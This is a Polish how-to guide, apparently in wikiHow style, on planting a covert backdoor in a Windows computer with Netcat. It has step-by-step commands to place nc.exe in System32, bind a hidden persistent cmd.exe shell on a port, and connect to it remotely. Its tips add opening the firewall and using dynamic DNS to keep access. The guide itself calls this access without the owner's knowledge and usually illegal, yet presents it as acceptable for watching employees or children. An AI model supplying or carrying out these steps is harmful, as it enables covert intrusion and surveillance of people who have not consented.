Jak utworzyć tylne drzwi w komputerze

Wymagane elementy

• Połączenie z Internetem
• Krótki dostęp do komputera docelowego
• Adres IP komputera, który ma zostać objęty „tylną drzwią”

Co to jest „tylna drzwi” i kiedy można jej używać?

„Tylna drzwi” to ukryty sposób uzyskania dostępu do komputera bez wiedzy jego właściciela. Choć tego typu działanie jest zazwyczaj nielegalne, istnieją sytuacje, w których instalacja takiego mechanizmu jest uzasadniona – np. w miejscu pracy w celu monitorowania pracowników lub w domu, aby chronić dzieci przed niebezpieczeństwami w sieci. Zanim przystąpisz do tworzenia tylnej drzwi, upewnij się, że masz odpowiednie upoważnienie i prawo do takiego działania.

Instalacja Netcat

Netcat to popularny program typu open‑source, dostępny także w wersji dla systemu Windows. Umożliwia on odczyt i zapis danych przez protokół TCP.

1. Pobierz najnowszą wersję Netcat dla Windows (np. ze strony eternallybored.org).
2. Rozpakuj archiwum do wybranego katalogu – np. C:\netcat lub po prostu na Pulpicie w folderze netcat.
3. Skopiuj plik nc.exe na komputer docelowy i umieść go w katalogu C:\Windows\System32. Dzięki temu będzie dostępny z każdego miejsca w wierszu poleceń.

Tworzenie tylnej drzwi

1. Otwórz wiersz poleceń (Start → Uruchom → wpisz cmd i naciśnij Enter).
2. Przejdź do katalogu, w którym znajduje się nc.exe:

   cd C:\Windows\System32

3. Uruchom Netcat w trybie nasłuchiwania, podając wybrany port (np. 10000) i wskazując, że ma uruchamiać cmd.exe po połączeniu:

   nc -d -L -e cmd.exe -p 10000

   Parametry:

   • -d – uruchom w tle,
   • -L – nasłuchuj po zakończeniu sesji,
   • -e cmd.exe – uruchom wiersz poleceń po połączeniu,
   • -p 10000 – numer portu (można wybrać wyższy, np. 20000).

Połączenie z komputerem docelowym

Na swoim komputerze otwórz wiersz poleceń i użyj programu telnet (lub ponownie Netcat), podając adres IP i port komputera, na którym uruchomiłeś nasłuchiwanie:

telnet 192.168.1.25 10000

Po nawiązaniu połączenia uzyskasz dostęp do wiersza poleceń komputera docelowego i będziesz mógł przeglądać pliki, uruchamiać polecenia i wykonywać inne operacje.

Wskazówki

• Upewnij się, że firewall na komputerze docelowym zezwala na ruch przychodzący na wybranym porcie.
• Jeśli adres IP komputera docelowego może się zmieniać, rozważ użycie dynamicznego DNS (np. DynDNS, No‑IP), aby mieć stały adres URL.
• Regularnie aktualizuj Netcat i monitoruj logi systemowe, aby wykrywać nieautoryzowane połączenia.